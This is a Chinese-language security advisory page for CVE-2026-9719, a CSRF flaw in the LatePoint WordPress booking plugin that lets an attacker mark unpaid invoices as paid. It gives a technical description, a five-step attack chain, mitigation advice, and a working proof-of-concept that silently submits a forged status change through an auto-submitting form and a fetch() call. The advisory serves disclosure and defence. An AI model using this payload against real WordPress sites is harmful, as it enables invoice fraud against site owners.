IPBUF安全漏洞报告
English
CVE-2026-9719 CVSS 4.3 中危

CVE-2026-9719 LatePoint WordPress插件CSRF漏洞可篡改发票状态

披露日期: 2026-06-06

漏洞信息

漏洞编号
CVE-2026-9719
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LatePoint – Calendar Booking Plugin for Appointments and Events (WordPress)

相关标签

CSRFWordPress插件LatePoint跨站请求伪造身份验证绕过CVE-2026-9719发票篡改

漏洞概述

CVE-2026-9719是WordPress LatePoint日历预约插件中的一个跨站请求伪造(CSRF)漏洞。该插件是一款广泛应用于预约管理的WordPress插件,可处理活动日历和预约事务。漏洞源于change_status函数缺少正确的nonce验证机制,导致攻击者可以通过构造恶意请求,在无需认证的情况下冒充管理员修改任意发票状态,包括将未付款发票标记为已付款。此漏洞影响所有5.6.0及以下版本。由于该漏洞利用需要诱导管理员点击链接或访问特定页面,因此攻击复杂度较低,但潜在危害显著,可能导致财务损失或业务逻辑混乱。攻击者无需获取任何账号凭据,仅需欺骗管理员执行操作即可完成攻击。

技术细节

LatePoint插件的invoices_controller.php文件中,change_status函数在处理发票状态变更请求时,未对请求进行有效的CSRF token(nonce)验证。攻击者可以构造一个恶意HTML页面,包含自动提交的表单或利用JavaScript自动发送请求。当具有管理员权限的用户访问该页面或点击攻击者提供的链接时,浏览器会自动携带该用户在目标站点的cookie发送请求。服务器因缺少nonce验证,无法区分合法请求与伪造请求,从而执行攻击者指定的状态变更操作。漏洞代码位于lib/controllers/invoices_controller.php的234行和246行附近,涉及change_status函数的参数处理。攻击者可通过lib/helpers/params_helper.php中的参数获取方式,操控invoice_id和status参数,实现任意发票状态的篡改。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意表单或JavaScript的钓鱼页面,用于向目标网站的latepoint_change_invoice_status端点发送请求
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或其他方式诱导WordPress网站管理员访问恶意页面或点击特制链接
STEP 3
步骤3
管理员浏览器自动携带其有效的WordPress会话cookie向目标站点发送POST请求
STEP 4
步骤4
服务器因缺少nonce验证,无法识别伪造请求,直接执行change_status函数修改指定发票状态
STEP 5
步骤5
攻击者成功将未付款发票标记为已付款,导致财务损失或业务逻辑混乱

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2026-9719 --> <!-- Tricks admin into changing invoice status --> <!DOCTYPE html> <html> <head> <title>Invoice Status Change</title> </head> <body> <h1>Please wait...</h1> <form id="csrf_form" action="https://target-site.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="latepoint_change_invoice_status"> <input type="hidden" name="invoice_id" value="1"> <input type="hidden" name="status" value="paid"> <!-- Add security token if needed by implementation --> <input type="hidden" name="_nonce" value="any_value"> </form> <script> document.getElementById('csrf_form').submit(); </script> </body> </html> <!-- Alternative: Auto-submit JavaScript --> <script> fetch('https://target-site.com/wp-admin/admin-ajax.php', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=latepoint_change_invoice_status&invoice_id=1&status=paid&_nonce=any' }); </script>

影响范围

LatePoint WordPress插件 <= 5.6.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 启用WordPress的CSRF保护插件;2) 限制管理员访问不受信任的网络环境;3) 定期检查发票状态变更日志;4) 通知用户对可疑发票变更保持警惕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表